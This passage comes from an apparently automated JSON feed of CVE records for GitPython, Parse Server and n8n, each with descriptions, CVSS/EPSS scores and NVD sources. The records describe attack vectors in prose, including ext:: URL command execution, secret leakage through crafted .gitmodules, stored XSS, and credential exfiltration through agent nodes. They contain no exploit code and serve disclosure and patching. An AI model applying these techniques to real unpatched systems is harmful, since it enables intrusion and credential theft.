fixes.","publishedAt":"2026-10-14T23:17:27.183Z","updatedAt":"2026-10-16T18:14:51.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110859","asOf":"2026-10-16T18:14:51.460Z"},"epss":{"probability":0.00387,"percentile":0.3245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110859&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110859","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110859","type":"primary","publishedAt":"2026-10-14T23:17:27.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110859&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110859, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110857","cveId":"CVE-2026-110857","aliases":[],"kind":"vulnerability","title":"GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.ls_remote forwards URLs without check_unsafe_protocols...","summary":"GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.ls_remote forwards URLs without check_unsafe_protocols validation. Attackers can supply ext:: remote-helper URLs to execute commands when git permits the ext transport, while merge_base and IndexFile.move also accept unguarded option injection.","detail":"GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.ls_remote forwards URLs without check_unsafe_protocols validation. Attackers can supply ext:: remote-helper URLs to execute commands when git permits the ext transport, while merge_base and IndexFile.move also accept unguarded option injection.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:26.903Z","updatedAt":"2026-10-15T20:33:06.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110857","asOf":"2026-10-15T20:33:06.527Z"},"epss":{"probability":0.00417,"percentile":0.3567,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110857&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110857","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110857","type":"primary","publishedAt":"2026-10-14T23:17:26.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110857&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110857, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110856","cveId":"CVE-2026-110856","aliases":[],"kind":"vulnerability","title":"GitPython before 3.2.0 contains a regular expression denial of service vulnerability in the _re_actor_epoch pattern used by parse_actor_and_date on author, committer, and tagger...","summary":"GitPython before 3.2.0 contains a regular expression denial of service vulnerability in the _re_actor_epoch pattern used by parse_actor_and_date on author, committer, and tagger lines. Attackers can serve repositories with commit or tag objects containing long space-filled lines lacking a valid epoch or timezone, causing quadratic backtracking and CPU exhaustion.","detail":"GitPython before 3.2.0 contains a regular expression denial of service vulnerability in the _re_actor_epoch pattern used by parse_actor_and_date on author, committer, and tagger lines. Attackers can serve repositories with commit or tag objects containing long space-filled lines lacking a valid epoch or timezone, causing quadratic backtracking and CPU exhaustion.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:26.760Z","updatedAt":"2026-10-20T03:17:14.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110856","asOf":"2026-10-20T03:17:14.170Z"},"epss":{"probability":0.00337,"percentile":0.26856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110856","type":"primary","publishedAt":"2026-10-14T23:17:26.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110855","cveId":"CVE-2026-110855","aliases":[],"kind":"vulnerability","title":"GitPython before 3.2.0 contains an information disclosure vulnerability that allows malicious repositories to expand environment variables via separate_git_dir in Repo._clone(),...","summary":"GitPython before 3.2.0 contains an information disclosure vulnerability that allows malicious repositories to expand environment variables via separate_git_dir in Repo._clone(), which omits expand_vars=False when calling Git.polish_url(). Attackers can craft a .gitmodules submodule name containing variable syntax so that clone plus submodule_update exposes secrets in .git/modules directory names and DEBUG logs.","detail":"GitPython before 3.2.0 contains an information disclosure vulnerability that allows malicious repositories to expand environment variables via separate_git_dir in Repo._clone(), which omits expand_vars=False when calling Git.polish_url(). Attackers can craft a .gitmodules submodule name containing variable syntax so that clone plus submodule_update exposes secrets in .git/modules directory names and DEBUG logs.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:26.623Z","updatedAt":"2026-10-16T18:14:51.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110855","asOf":"2026-10-16T18:14:51.460Z"},"epss":{"probability":0.0029,"percentile":0.21349,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110855","type":"primary","publishedAt":"2026-10-14T23:17:26.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110854","cveId":"CVE-2026-110854","aliases":[],"kind":"vulnerability","title":"Parse Server before 8.6.97 and 9.0.0 before 9.10.2-alpha.6 does not handle errors raised while sending verification or password reset emails, causing the server process to exit.","summary":"Parse Server before 8.6.97 and 9.0.0 before 9.10.2-alpha.6 does not handle errors raised while sending verification or password reset emails, causing the server process to exit. A client holding only the public application keys can sign up, request a verification email, or request a password reset while the mail provider rejects, rate limits, or is unavailable, crashing the server.","detail":"Parse Server before 8.6.97 and 9.0.0 before 9.10.2-alpha.6 does not handle errors raised while sending verification or password reset emails, causing the server process to exit. A client holding only the public application keys can sign up, request a verification email, or request a password reset while the mail provider rejects, rate limits, or is unavailable, crashing the server.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:26.490Z","updatedAt":"2026-10-16T18:14:51.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110854","asOf":"2026-10-16T18:14:51.460Z"},"epss":{"probability":0.00263,"percentile":0.17901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110854&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110854","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110854","type":"primary","publishedAt":"2026-10-14T23:17:26.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110854&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110854, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110853","cveId":"CVE-2026-110853","aliases":[],"kind":"vulnerability","title":"n8n before 1.123.83 contains an authorization bypass vulnerability that allows authenticated members to spoof workflow identity by supplying a trusted identifier in Execute...","summary":"n8n before 1.123.83 contains an authorization bypass vulnerability that allows authenticated members to spoof workflow identity by supplying a trusted identifier in Execute Sub-workflow inline JSON mode. Attackers can set this identifier to resolve credentials from projects they do not belong to and modify another workflow's static data and error-workflow dispatch.","detail":"n8n before 1.123.83 contains an authorization bypass vulnerability that allows authenticated members to spoof workflow identity by supplying a trusted identifier in Execute Sub-workflow inline JSON mode. Attackers can set this identifier to resolve credentials from projects they do not belong to and modify another workflow's static data and error-workflow dispatch.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:26.343Z","updatedAt":"2026-10-16T18:17:33.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110853","asOf":"2026-10-16T18:17:33.900Z"},"epss":{"probability":0.00228,"percentile":0.13491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110853","type":"primary","publishedAt":"2026-10-14T23:17:26.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110850","cveId":"CVE-2026-110850","aliases":[],"kind":"vulnerability","title":"n8n before 2.41.4 and 2.42.0 before 2.42.1 does not validate credential ids stored in agent node parameters when an editor saves a shared workflow, because the check inspects only...","summary":"n8n before 2.41.4 and 2.42.0 before 2.42.1 does not validate credential ids stored in agent node parameters when an editor saves a shared workflow, because the check inspects only a node's credentials field. An editor can configure a Message an Agent node in inline mode with tools they control to resolve the owner's credentials and send decrypted secrets to an attacker-chosen destination.","detail":"n8n before 2.41.4 and 2.42.0 before 2.42.1 does not validate credential ids stored in agent node parameters when an editor saves a shared workflow, because the check inspects only a node's credentials field. An editor can configure a Message an Agent node in inline mode with tools they control to resolve the owner's credentials and send decrypted secrets to an attacker-chosen destination.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:25.870Z","updatedAt":"2026-10-15T19:17:24.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110850","asOf":"2026-10-15T19:17:24.090Z"},"epss":{"probability":0.00215,"percentile":0.11817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110850","type":"primary","publishedAt":"2026-10-14T23:17:25.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110849","cveId":"CVE-2026-110849","aliases":[],"kind":"vulnerability","title":"n8n before 1.123.83, 2.41.4, and 2.42.1 contains a stored cross-site scripting vulnerability in the file-preview modal, which re-publishes binary data as an unsandboxed...","summary":"n8n before 1.123.83, 2.41.4, and 2.42.1 contains a stored cross-site scripting vulnerability in the file-preview modal, which re-publishes binary data as an unsandboxed same-origin blob URL. A member who uploads a crafted item can run script in the n8n origin of whoever previews it, typically the owner, and act with their session.","detail":"n8n before 1.123.83, 2.41.4, and 2.42.1 contains a stored cross-site scripting vulnerability in the file-preview modal, which re-publishes binary data as an unsandboxed same-origin blob URL. A member who uploads a crafted item can run script in the n8n origin of whoever previews it, typically the owner, and act with their session.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:25.713Z","updatedAt":"2026-10-15T16:17:47.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110849","asOf":"2026-10-15T16:17:47.547Z"},"epss":{"probability":0.00243,"percentile":0.15352,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110849","type":"primary","publishedAt":"2026-10-14T23:17:25.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110847","cveId":"CVE-2026-110847","aliases":[],"kind":"vulnerability","title":"n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a stored cross-site scripting vulnerability in the Chat Trigger hosted-chat page, where insufficiently...","summary":"n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a stored cross-site scripting vulnerability in the Chat Trigger hosted-chat page, where insufficiently sanitised customCss values are interpolated into the page as markup. Workflow authors can publish a chat without n8n user authentication whose payload executes on the instance origin, acting on the sessions of signed-in visitors.","detail":"n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a stored cross-site scripting vulnerability in the Chat Trigger hosted-chat page, where insufficiently sanitised customCss values are interpolated into the page as markup. Workflow authors can publish a chat without n8n user authentication whose payload executes on the instance origin, acting on the sessions of signed-in visitors.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:25.407Z","updatedAt":"2026-10-15T14:17:21.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110847","asOf":"2026-10-15T14:17:21.007Z"},"epss":{"probability":0.00367,"percentile":0.30238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110847","type":"primary","publishedAt":"2026-10-14T23:17:25.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110846","cveId":"CVE-2026-110846","aliases":[],"kind":"vulnerability","title":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains a signature bypass in the waiting-webhook endpoint, which selects Send-and-Wait validation before normalising an alternate node...","summary":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains a signature bypass in the waiting-webhook endpoint, which selects Send-and-Wait validation before normalising an alternate node reference form. Attackers holding an execution's resume token can approve waiting executions meant for others, running downstream actions under the workflow owner's credentials, potentially including command execution.","detail":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains a signature bypass in the waiting-webhook endpoint, which selects Send-and-Wait validation before normalising an alternate node reference form. Attackers holding an execution's resume token can approve waiting executions meant for others, running downstream actions under the workflow owner's credentials, potentially including command execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:25.253Z","updatedAt":"2026-10-20T03:17:13.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110846","asOf":"2026-10-20T03:17:13.930Z"},"epss":{"probability":0.00511,"percentile":0.43273,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110846","type":"primary","publishedAt":"2026-10-14T23:17:25.253Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110845","cveId":"CVE-2026-110845","aliases":[],"kind":"vulnerability","title":"n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a code execution vulnerability in the Git node Log operation, which fails to strip a repository's local...","summary":"n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a code execution vulnerability in the Git node Log operation, which fails to strip a repository's local git configuration before invoking an external program. Authenticated members who can point the node, including as an agent tool, at a repository whose local configuration they control can execute programs as the n8n process user.","detail":"n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a code execution vulnerability in the Git node Log operation, which fails to strip a repository's local git configuration before invoking an external program. Authenticated members who can point the node, including as an agent tool, at a repository whose local configuration they control can execute programs as the n8n process user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 